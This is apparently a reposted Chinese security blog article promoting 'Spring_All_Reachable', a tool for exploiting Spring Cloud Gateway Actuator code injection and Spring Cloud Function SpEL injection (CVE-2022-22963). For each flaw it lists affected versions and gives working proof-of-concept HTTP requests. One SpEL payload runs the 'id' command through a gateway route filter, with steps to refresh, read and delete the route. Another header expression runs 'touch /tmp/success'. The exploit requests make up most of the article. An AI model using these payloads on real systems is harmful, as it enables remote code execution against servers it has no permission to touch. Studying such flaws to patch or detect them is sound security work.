|
|
项目简介
项目描述
Spring Cloud Gateway命令执行（Spring_All_Reachable）
漏洞描述
Spring Cloud Gateway存在远程代码执行漏洞，该漏洞是发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公开和不安全的情 况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。
漏洞影响
VMWare Spring Cloud GateWay 3.1.0
VMWare Spring Cloud GateWay >=3.0.0，<=3.0.6
VMWare Spring Cloud GateWay <3.0.0
漏洞pocPOST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 328{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com","order": 0}
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
工具使用
Spring Cloud Function SpEL 远程代码执行 (CVE-2022-22963)
漏洞描述
Spring Cloud Function 是Spring cloud中的serverless框架。
Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理，造成 Spel 表达式注入漏洞。
攻击者可通过该漏洞执行任意代码。
漏洞影响
org.springframework.cloud:spring-cloud-function-context（影响版本：3.0.0.RELEASE~3.2.2）
漏洞pocPOST /functionRouter HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")Content-Type: text/plainContent-Length: 4test
工具使用
下载地址
项目地址：https://github.com/savior-only/Spring_All_Reachable
原文始发于微信公众号（天驿安全）：Spring漏洞综合利用工具——Spring_All_Reachable
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论